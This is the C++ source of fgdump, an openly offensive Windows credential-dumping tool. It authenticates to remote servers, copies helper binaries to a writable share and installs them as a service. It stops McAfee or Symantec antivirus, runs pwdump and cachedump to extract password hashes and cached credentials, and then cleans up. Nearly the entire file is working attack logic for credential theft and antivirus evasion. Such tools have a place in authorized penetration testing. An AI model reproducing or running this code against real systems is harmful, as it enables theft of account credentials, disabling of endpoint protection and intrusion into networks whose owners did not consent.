/******************************************************************************
fgdump - by fizzgig and the foofus.net group
Copyright (C) 2005 by fizzgig
http://www.foofus.net

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
******************************************************************************/

#include "stdafx.h"
#include "fgdump.h"
#include "AVStatus.h"
#include "CacheDumpControl.h"
#include "AntiSpywareControl.h"
#include "resource.h"
#include "ResourceLoader.h"
#include "ShareFinder.h"
#include "ServiceControl.h"
#include "Impersonator.h"
#include "LsaDumpControl.h"
#include "StringArray.h"
#include <conio.h>

FGDump::FGDump()
{
	bFullRun = true;
	bRunPwdump = true;
	bRunCachedump = true;
	bRunLSADump = true;
	bSkipExisting = true;
	bContinueOnUnknownAV = false;
	lpszUser = NULL;
	lpszPassword = NULL;
	lpszServer = NULL;
	lpszSuccessfulServers = NULL;
	lpszFailedServers = NULL;

	memset(lpszSourceFile, 0, MAX_PATH + 1);
}

FGDump::~FGDump()
{

}

bool FGDump::FileExists(char* szFile)
{
	try
	{
		std::fstream fin;
		fin.open(szFile, std::ios::in);
		if(fin.is_open())
		{
			fin.close();
			return true;
		}

		fin.close();
		return false;
	}
	catch(...)
	{
		return false;
	}
}

void FGDump::ExitApp(int nReturnCode)
{
	// Just makes sure that variables are cleaned up
	if (lpszServer != NULL)
		delete [] lpszServer;
	if (lpszUser != NULL)
		delete [] lpszUser;
	if (lpszPassword != NULL)
		delete [] lpszPassword;

#ifdef _DEBUG
	printf("Press return to exit...");
	scanf("...");
#endif

	exit(nReturnCode);
}

void FGDump::SetTestOnlyAV(bool bTestOnly)
{
	bFullRun = !bTestOnly;
}

void FGDump::SetSkipCacheDump(bool bSkip)
{
	bRunCachedump = !bSkip;
}

void FGDump::SetSkipPWDump(bool bSkip)
{
	bRunPwdump = !bSkip;
}

void FGDump::SetSkipLSADump(bool bSkip)
{
	bRunLSADump = !bSkip;
}

void FGDump::SetIgnoreExistingFiles(bool bIgnoreExisting)
{
	bSkipExisting = bIgnoreExisting;
}

void FGDump::ContinueOnUnknownAV(bool bContinue)
{
	bContinueOnUnknownAV = bContinue;
}

void FGDump::SetHostfileName(char* szFile)
{
	strncpy(lpszSourceFile, (const char*)szFile, MAX_PATH);
}

void FGDump::SetServer(char* szServer)
{
	size_t nLen = strlen((const char*)szServer);
	lpszServer = new char[nLen + 1];
	memset(lpszServer, 0, nLen + 1);
	strncpy(lpszServer, szServer, nLen);
}

void FGDump::SetUser(char* szUsername)
{
	size_t nLen = strlen((const char*)szUsername);
	lpszUser = new char[nLen + 1];
	memset(lpszUser, 0, nLen + 1);
	strncpy(lpszUser, szUsername, nLen);
}

void FGDump::SetPassword(char* szPassword)
{
	size_t nLen = strlen((const char*)szPassword);
	lpszPassword = new char[nLen + 1];
	memset(lpszPassword, 0, nLen + 1);
	strncpy(lpszPassword, szPassword, nLen);
}

int FGDump::Run()
{
	McAfeeControl objMcAfeeService;
	SymantecAVControl objSAVService;
	NetUse objNetUse;
	PWDumpControl objPWDump;
	ResourceLoader objResPWDump, objResPWService, objResLSAExt, objResFGExec;
	CONTROL_OBJECTS sControls;
	size_t nLen;
	FILE* fileInput = NULL;
	char szPwdTemp[101];
	int nSuccesses = 0, nFailures = 0;
	StringArray arrSuccess, arrFailed;

	GetTempPath(MAX_PATH, lpszTempPath);

	if ((lpszServer == NULL && *lpszSourceFile == NULL) || lpszUser == NULL)
	{
		Log.ReportError(CRITICAL, "ERROR: you must specify a server and username!\n");
		ExitApp(1);
	}

	if (lpszPassword == NULL)
	{
		// Prompt the user for a password
		memset(szPwdTemp, 0, 101);
		printf("Please specify the password to use: ");
		int i = 0;
		char pwBuf[100];
		char c = 0;

		memset(pwBuf, 0, 100);

		while(c != '\r' && i < 100)
		{
			c = _getch();
			pwBuf[i++] = c;
			_putch('*');
		}
		pwBuf[--i] = 0;
		_putch('\r');
		_putch('\n');

		memcpy(szPwdTemp, pwBuf, 100);
		SetPassword(szPwdTemp);
	}

	if ((bRunCachedump == false && bRunPwdump == false) && bFullRun == true)
	{
		Log.ReportError(CRITICAL, "ERROR: You cannot specify -c *and* -w, unless you use -t\n");
		ExitApp(1);
	}

	sControls.objMcAfeeService = objMcAfeeService;
	sControls.objNetUse = objNetUse;
	sControls.objPWDump = objPWDump;
	sControls.objSAVService = objSAVService;

	//printf("pwdump file will be written to %s%s.pwdump\n\n", lpszTempPath, lpszServer);

	// Get the temporary directory for use in unpacking the files
	memset(lpszPWServicePath, 0, MAX_PATH + 15);
    memset(lpszPWDumpPath, 0, MAX_PATH + 15);
    memset(lpszLSAExtPath, 0, MAX_PATH + 15);
	memset(lpszRemotePath, 0, MAX_PATH);
	memset(lpszFGExecPath, 0, MAX_PATH + 15);
	memset(lpszCacheDumpPath, 0, MAX_PATH + 15);
	memset(lpszLSADumpPath, 0, MAX_PATH + 15);
	memset(lpszDumpLSADLLPath, 0, MAX_PATH + 15);

	_snprintf(lpszPWServicePath, MAX_PATH + 15, "%s%s", lpszTempPath, "pwservice.exe");
	_snprintf(lpszPWDumpPath, MAX_PATH + 15, "%s%s", lpszTempPath, "pwdump.exe");
	_snprintf(lpszLSAExtPath, MAX_PATH + 15, "%s%s", lpszTempPath, "lsaext.dll");
	_snprintf(lpszFGExecPath, MAX_PATH + 15, "%s%s", lpszTempPath, "fgexec.exe");
	_snprintf(lpszCacheDumpPath, MAX_PATH + 15, "%s%s", lpszTempPath, "cachedump.exe");
	_snprintf(lpszLSADumpPath, MAX_PATH + 15, "%s%s", lpszTempPath, "lsadump2.exe");
	_snprintf(lpszDumpLSADLLPath, MAX_PATH + 15, "%s%s", lpszTempPath, "dumplsa.dll");

	if (!objResPWDump.UnpackResource(IDR_PWDUMP, lpszPWDumpPath))
		ExitApp(1);
	if (!objResPWService.UnpackResource(IDR_PWSERVICE, lpszPWServicePath))
		ExitApp(1);
	if (!objResLSAExt.UnpackResource(IDR_LSAEXT, lpszLSAExtPath))
		ExitApp(1);
	if (!objResFGExec.UnpackResource(IDR_FGEXEC, lpszFGExecPath))
		ExitApp(1);

	if (strlen(lpszSourceFile) > 0)
	{
		// User specified a file containing hosts to run against
		char szLine[100];
		size_t nPos;

		fileInput = fopen(lpszSourceFile, "r");
		if (fileInput == NULL)
		{
			Log.ReportError(CRITICAL, "The file %s was not found. Sorry, no potato.\n", lpszSourceFile);
			ExitApp(-1);
		}
		fseek(fileInput, 0, SEEK_SET);

		// Read in data a line at a time and trim it
		while (fgets(szLine, 100, fileInput) != NULL)
		{
			if ((nPos = strcspn(szLine, "\r\n")) >= 0)
			{
				szLine[nPos] = '\0';
			}

			if (strlen(szLine) > 0)
			{
				if (lpszServer != NULL)
					delete [] lpszServer;

				nLen = strlen(szLine);
				lpszServer = new char[nLen + 1];
				memset(lpszServer, 0, nLen + 1);
				strncpy(lpszServer, szLine, nLen);

				if (DumpServer(sControls) < 0)
				{
					Log.ReportError(CRITICAL, "Error dumping server %s, see previous messages for details\n", lpszServer);
					nFailures++;
					arrFailed.Add(lpszServer);
				}
				else
				{
					nSuccesses++;
					arrSuccess.Add(lpszServer);
				}
			}
		}

		// Was there an error or end-of-file?
		if (!feof(fileInput))
		{
			Log.ReportError(CRITICAL, "Unexpected error reading from the file (error %d)\n", GetLastError());
			fclose(fileInput);
			ExitApp(-1);
		}

		fclose(fileInput);
	}
	else
	{
		if (DumpServer(sControls) < 1)
		{
			Log.ReportError(CRITICAL, "Error dumping server %s, see previous messages for details\n", lpszServer);
			nFailures++;
			arrFailed.Add(lpszServer);
		}
		else
		{
			nSuccesses++;
			arrSuccess.Add(lpszServer);
		}
	}

	Log.ReportError(CRITICAL, "\n-----Summary-----\n\n");
	Log.ReportError(CRITICAL, "Failed servers:\n");
	char* szTemp = arrFailed.GetFirstString();
	if (szTemp == NULL)
		Log.ReportError(CRITICAL, "NONE\n");
	else
	{
		while (szTemp != NULL)
		{
			Log.ReportError(CRITICAL, "%s\n", szTemp);
			szTemp = arrFailed.GetNextString();
		}
	}
	Log.ReportError(CRITICAL, "\nSuccessful servers:\n");
	szTemp = arrSuccess.GetFirstString();
	if (szTemp == NULL)
		Log.ReportError(CRITICAL, "NONE\n");
	else
	{
		while (szTemp != NULL)
		{
			Log.ReportError(CRITICAL, "%s\n", szTemp);
			szTemp = arrSuccess.GetNextString();
		}
	}

	Log.ReportError(CRITICAL, "\nTotal failed: %d\n", nFailures);
	Log.ReportError(CRITICAL, "Total successful: %d\n", nSuccesses);

	return 0;
}

int FGDump::DumpServer(CONTROL_OBJECTS objControls)
{
	Impersonator impersonate;
	char szPath[MAX_PATH + 1];
	bool bSkipPwdump = false, bSkipCachedump = false, bSkipLSASecrets = false;

	Log.ReportError(CRITICAL, "\n** Beginning dump on server %s **\n", lpszServer);
	lpszCacheDumpRemotePath = NULL;

	try
	{
		// The impersonation object will automagically call RevertToSelf when it goes out of scope
		if (!impersonate.BeginImpersonation(lpszServer, lpszUser, lpszPassword))
		{
			throw(1);
		}
		else
		{
			// Is the remote registry running? If not, pwdump and cachedump won't work
			ServiceControl sc;
			SERVICE_STATUS status;
			FG_SERVICE_STATUS serviceStatus = sc.QueryServiceStatus(lpszServer, "RemoteRegistry", &status);
			if (serviceStatus == INSTALLED)
			{
				if (status.dwCurrentState != SERVICE_RUNNING)
				{
					Log.ReportError(CRITICAL, "CRITICAL: Unable to open the service control manager. Remote registry may not be installed, or simple file sharing may be enabled. Skipping this host.\n");
					throw(1);
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "CRITICAL: Remote registry is not available on this server. It may not be installed at all, or we don't have permission to query for it. Skipping this server.\n");
				throw(1);
			}

			// Remote registry is installed, proceed
			// Check if the .pwdump and .cachedump files for this server exist, and if so, skip them
			lpszCacheDumpRemotePath = new char[MAX_PATH];
			memset(lpszCacheDumpRemotePath, 0, MAX_PATH);
			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.pwdump", lpszServer);
			bSkipPwdump = (FileExists(szPath) && bSkipExisting) || !bRunPwdump;
			if (bSkipPwdump)
				Log.ReportError(INFO, "INFO: skipping pwdump on %s because %s exists or I was told to skip pwdumps\n", lpszServer, szPath);

			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.cachedump", lpszServer);
			bSkipCachedump = (FileExists(szPath) && bSkipExisting) || !bRunCachedump;
			if (bSkipCachedump)
				Log.ReportError(INFO, "INFO: skipping cachedump on %s because %s exists or I was told to skip cache dumps\n", lpszServer, szPath);

			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.lsadump", lpszServer);
			//bSkipLSASecrets = (FileExists(szPath) && bSkipExisting) || !bRunLSADump;
			bSkipLSASecrets = true;
			//if (bSkipLSASecrets)
			//	Log.ReportError(INFO, "INFO: skipping dump of LSA secrets on %s because %s exists or I was told to skip LSA dumps\n", lpszServer, szPath);

			if (!(bSkipCachedump && bSkipPwdump && bSkipLSASecrets))
			{
				if (InstallAndStartFGExec() == false)
				{
					throw(1);	// Detailed errors should already have been printed if this fails
				}
			}

			if (!(bSkipCachedump && bSkipPwdump && bSkipLSASecrets))
			{
				if (objControls.objMcAfeeService.IsServiceInstalled(lpszServer))
				{
					if (bFullRun)
					{
						switch(objControls.objMcAfeeService.GetServiceState(lpszServer))
						{
						case AV_STOPPED:
							Log.ReportError(INFO, "McAfee is installed on this box, but not currently running. Leaving the service alone but proceeding with pwdump and cachedump\n");
							if (!bSkipPwdump)
								objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
							if (!bSkipCachedump)
								RunCacheDump(lpszTempPath);			
							if (!bSkipLSASecrets)
								RunLSASecretsDump(lpszTempPath);			
							break;
						case AV_STARTED:
							if (!(bSkipPwdump && bSkipCachedump && bSkipLSASecrets))
							{
								Log.ReportError(INFO, "McAfee is running on this machine, shutting it down for a bit...\n");
								if (objControls.objMcAfeeService.StopService(lpszServer))
								{
									if (!bSkipPwdump)
										objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);		// Only run this if McAfee was stopped!!
									if (!bSkipCachedump)
										RunCacheDump(lpszTempPath);			
									if (!bSkipLSASecrets)
										RunLSASecretsDump(lpszTempPath);			
								}
								objControls.objMcAfeeService.StartService(lpszServer);
							}
							break;
						case AV_UNKNOWN:
						default:
							if (bContinueOnUnknownAV)
							{
								Log.ReportError(INFO, "McAfee is installed on this box, but is in an unknown state. Not attempting to stop it, but continuing.\n");
								if (!bSkipPwdump)
									objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
								if (!bSkipCachedump)
									RunCacheDump(lpszTempPath);			
								if (!bSkipLSASecrets)
									RunLSASecretsDump(lpszTempPath);			
							}
							else
								Log.ReportError(CRITICAL, "McAfee is installed on this box, but is in an unknown state. Aborting the pwdump.\n");
							break;
						}
					}
					else
					{
						Log.ReportError(CRITICAL, "McAfee is installed on this box.\n");
					}
				}
				else if (objControls.objSAVService.IsServiceInstalled(lpszServer))
				{
					if (bFullRun)
					{
						switch(objControls.objSAVService.GetServiceState(lpszServer))
						{
						case AV_STOPPED:
							Log.ReportError(INFO, "Symantec AV is installed on this box, but not currently running. Leaving the service alone but proceeding with pwdump and cachedump\n");
							if (!bSkipPwdump)
								objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
							if (!bSkipCachedump)
								RunCacheDump(lpszTempPath);			
							if (!bSkipLSASecrets)
								RunLSASecretsDump(lpszTempPath);			
							break;
						case AV_STARTED:
							if (!(bSkipPwdump && bSkipCachedump && bSkipLSASecrets))
							{
								Log.ReportError(INFO, "Symantec AV is running on this machine, shutting it down for a bit...\n");
								if (objControls.objSAVService.StopService(lpszServer))
								{
									if (!bSkipPwdump)
										objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);		// Only run this if Symantec AV was stopped!!
									if (!bSkipCachedump)
										RunCacheDump(lpszTempPath);			
									if (!bSkipLSASecrets)
										RunLSASecretsDump(lpszTempPath);			
								}
								objControls.objSAVService.StartService(lpszServer);
							}
							break;
						case AV_UNKNOWN:
						default:
							if (bContinueOnUnknownAV)
							{
								Log.ReportError(INFO, "Symantec AV is installed on this box, but is in an unknown state. Not attempting to stop it, but continuing.\n");
								if (!bSkipPwdump)
									objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
								if (!bSkipCachedump)
									RunCacheDump(lpszTempPath);			
								if (!bSkipLSASecrets)
									RunLSASecretsDump(lpszTempPath);			
							}
							else
								Log.ReportError(CRITICAL, "Symantec AV is installed on this box, but is in an unknown state. Aborting the pwdump.\n");
							break;
						}
					}
					else
					{
						Log.ReportError(CRITICAL, "Norton Anitvirus is installed on this box.\n");
					}
				}
				else
				{
					Log.ReportError(INFO, "Antivirus does not appear to be installed\n");
					if (bFullRun)
					{
						if (!bSkipPwdump)
							objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
						if (!bSkipCachedump)
							RunCacheDump(lpszTempPath);		
						if (!bSkipLSASecrets)
							RunLSASecretsDump(lpszTempPath);			

					}
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "Skipping: nothing to do\n");
			}

			// Get rid of fgexec stuff
			if (!(bSkipCachedump && bSkipPwdump && bSkipLSASecrets))
			{
				StopAndRemoveFGExec();
			}

		}
	}
	catch(...)
	{
		if (lpszCacheDumpRemotePath != NULL)
			delete [] lpszCacheDumpRemotePath;
		
		return -1;
	}

	if (lpszCacheDumpRemotePath != NULL)
		delete [] lpszCacheDumpRemotePath;
	
	return 1;
}

bool FGDump::InstallAndStartFGExec()
{
	ShareFinder objShares;
	ServiceControl objSC;
 
	memset(szDriveTemp, 0, 3);
	szDriveTemp[0] = objShares.GetUnusedDriveLetter();
	szDriveTemp[1] = ':';
	if (szDriveTemp[0] != 0)
	{
		objShares.EnumerateShares(lpszServer);
		if (objShares.BindUploadShareToLocalDrive(lpszServer, szDriveTemp, MAX_PATH, &lpszCacheDumpRemotePath) && strlen(lpszCacheDumpRemotePath) > 0)
		{
			// Copy the files
			_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "fgexec.exe");
			CopyFile(lpszFGExecPath, lpszRemotePath, FALSE);

			// Install the fgexec service
			_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", lpszCacheDumpRemotePath, "fgexec.exe");
			Log.ReportError(DEBUG, "Execution path of fgexec is %s\n", lpszRemotePath);
			if(objSC.InstallService(lpszServer, "fgexec", "fgexec", lpszRemotePath))
			{
				if (objSC.StartService(lpszServer, "fgexec", 30))
				{
					Log.ReportError(DEBUG, "Successfully started fgexec service on %s\n", lpszServer);
				}
				else
				{
					Log.ReportError(CRITICAL, "Failed to start fgexec service on %s, uninstalling\n", lpszServer);
					if (!objSC.UninstallService(lpszServer, "fgexec"))
							Log.ReportError(CRITICAL, "WARNING: Unable to uninstall the fgexec service, you may have to do it by hand!\n");

					objShares.UnbindDrive(szDriveTemp);
					return false;
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "Failed to install fgexec service on %s\n", lpszServer);
				objShares.UnbindDrive(szDriveTemp);
				return false;
			}
		}
		else
		{
			Log.ReportError(CRITICAL, "Unable to establish a writable connection to %s, cachedump will not be performed\n", lpszServer);
			return false;
		}
	}

	return true;
}

bool FGDump::StopAndRemoveFGExec()
{
	ServiceControl objSC;
	ShareFinder objShares;

	if (objSC.StopService(lpszServer, "fgexec", 30))
	{
		Log.ReportError(DEBUG, "Successfully stopped fgexec service on %s\n", lpszServer);
		if (!objSC.UninstallService(lpszServer, "fgexec"))
			Log.ReportError(CRITICAL, "WARNING: Unable to uninstall the fgexec service, you may have to do it by hand!\n");
	}
	else
	{
		Log.ReportError(CRITICAL, "WARNING: failed to stop fgexec service on %s! You may need to stop it and uninstall it by hand!!\n", lpszServer);
	}

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "cachedump.exe");
	DeleteFile(lpszRemotePath);
	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "fgexec.exe");
	DeleteFile(lpszRemotePath);

	if (strlen(szDriveTemp) > 0)
		objShares.UnbindDrive(szDriveTemp);

	memset(szDriveTemp, 0, 3);

	return true;
}

void FGDump::RunCacheDump(char* lpszTempPath)
{
	ResourceLoader objResCacheDump;
	CacheDumpControl objCacheDump;

	if (!objResCacheDump.UnpackResource(IDR_CACHEDUMP, lpszCacheDumpPath))
		ExitApp(1);

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "cachedump.exe");
	CopyFile(lpszCacheDumpPath, lpszRemotePath, FALSE);

	if (!objCacheDump.Execute(lpszFGExecPath, lpszCacheDumpRemotePath, lpszServer))
	{
		Log.ReportError(CRITICAL, "Failed to dump cache: error %d", GetLastError());
	}
}

void FGDump::RunLSASecretsDump(char* lpszTempPath)
{
	/*ResourceLoader objResLSADump, objResLSADLL;
	LsaDumpControl objLSADump;

	if (!objResLSADump.UnpackResource(IDR_LSADUMP, lpszLSADumpPath))
		ExitApp(1);

	if (!objResLSADLL.UnpackResource(IDR_DUMPLSA_DLL, lpszDumpLSADLLPath))
		ExitApp(1);

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "dumplsa.dll");
	CopyFile(lpszDumpLSADLLPath, lpszRemotePath, FALSE);
	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "lsadump2.exe");
	CopyFile(lpszLSADumpPath, lpszRemotePath, FALSE);

	if (!objLSADump.Execute(lpszFGExecPath, lpszCacheDumpRemotePath, lpszServer))
	{
		Log.ReportError(CRITICAL, "Failed to dump LSA secrets: error %d\n", GetLastError());
	}*/
}